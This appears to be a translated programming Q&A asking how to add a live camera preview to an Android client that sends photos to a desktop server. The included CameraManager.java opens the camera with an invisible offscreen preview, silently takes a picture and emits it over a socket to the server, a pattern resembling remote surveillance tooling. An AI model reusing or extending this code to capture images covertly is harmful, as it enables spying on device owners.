首页 > 解决方案 > 如何将实时相机预览从 Android APK 客户端发送到桌面服务器?

问题描述

目前我正在开发一个使用 Android APK 作为客户端的桌面服务器应用程序,但是我在将我的CameraManager.java文件代码从没有实时相机预览的情况下拍摄照片更改为使用实时相机预览拍摄照片时遇到了一些问题!

我想要一个实时相机预览,用于从Android 客户端拍摄照片并将其发送回我的桌面服务器应用程序,而不仅仅是没有预览的照片!是的,我已经搜索过 Stackoverflow,但没有成功找到解决方案,或者我做错了什么,或者我错过了一些东西。

当我在桌面服务器界面中访问客户端的Android 相机时,我会看到我的, 用于显示没有预览的照片,但是我不再想要这个,因为它不实用,我想要一个实时相机预览,所以我/the用户可以看到我/他们将拍摄的照片。imgHolder.png

我用于启动客户端Android 相机并使用我的CameraManager.java文件在没有预览的情况下拍摄照片的当前代码如下所示,如果有人知道我可以如何更改它以给我实时相机预览而不是在没有预览的情况下拍摄照片,我会不胜感激。

CameraManager.java code snippet below

    public void startUp(int cameraID){
                camera = Camera.open(cameraID);
                Parameters parameters = camera.getParameters();
                camera.setParameters(parameters);
                try{
                    camera.setPreviewTexture(new SurfaceTexture(0));
                    camera.startPreview();
                } catch (Exception e) {
                    e.printStackTrace();
                }

                camera.takePicture(null, null, new PictureCallback() {
                    @Override
                    public void onPictureTaken(byte[] data, Camera camera) {
                        releaseCamera();
                        sendPhoto(data);
                    }
                });
    }

Full CameraManager.java code Below

package com.mine.king.myapp;


import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.SurfaceTexture;
import android.hardware.Camera;
import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.Parameters;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.io.ByteArrayOutputStream;


public class CameraManager {

    private Context context ;
    private Camera camera;


    public CameraManager(Context context) {
        this.context = context;
    }


    public void startUp(int cameraID){
                camera = Camera.open(cameraID);
                Parameters parameters = camera.getParameters();
                camera.setParameters(parameters);
                try{
                    camera.setPreviewTexture(new SurfaceTexture(0));
                    camera.startPreview();
                } catch (Exception e) {
                    e.printStackTrace();
                }

                camera.takePicture(null, null, new PictureCallback() {
                    @Override
                    public void onPictureTaken(byte[] data, Camera camera) {
                        releaseCamera();
                        sendPhoto(data);
                    }
                });
    }


    private void sendPhoto(byte [] data){

        try {

            Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
            JSONObject object = new JSONObject();
            object.put("image",true);
            object.put("buffer" , bos.toByteArray());
            IOSocket.getInstance().getIoSocket().emit("x0000ca" , object);


        } catch (JSONException e) {
            e.printStackTrace();
        }

    }

    private void releaseCamera(){
        if (camera != null) {
            camera.stopPreview();
            camera.release();
            camera = null;
        }
    }

    public JSONObject findCameraList() {

        if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
            return null;
        }





        try {
            JSONObject cameras = new JSONObject();
            JSONArray list = new JSONArray();
            cameras.put("camList",true);

            // Search for available cameras
            int numberOfCameras = Camera.getNumberOfCameras();
            for (int i = 0; i < numberOfCameras; i++) {
                Camera.CameraInfo info = new Camera.CameraInfo();
                Camera.getCameraInfo(i, info);
                if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
                    JSONObject jo = new JSONObject();
                    jo.put("name", "Front");
                    jo.put("id", i);
                    list.put(jo);
                }
                else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
                    JSONObject jo = new JSONObject();
                    jo.put("name", "Back");
                    jo.put("id", i);
                    list.put(jo);
                }
                else {
                    JSONObject jo = new JSONObject();
                    jo.put("name", "Other");
                    jo.put("id", i);
                    list.put(jo);
                }
            }

            cameras.put("list" , list);
            return cameras;

        } catch (JSONException e) {
            e.printStackTrace();
        }

        return null;

    }





}

对此问题的任何帮助将不胜感激,

标签: javaandroidcamera

解决方案


推荐阅读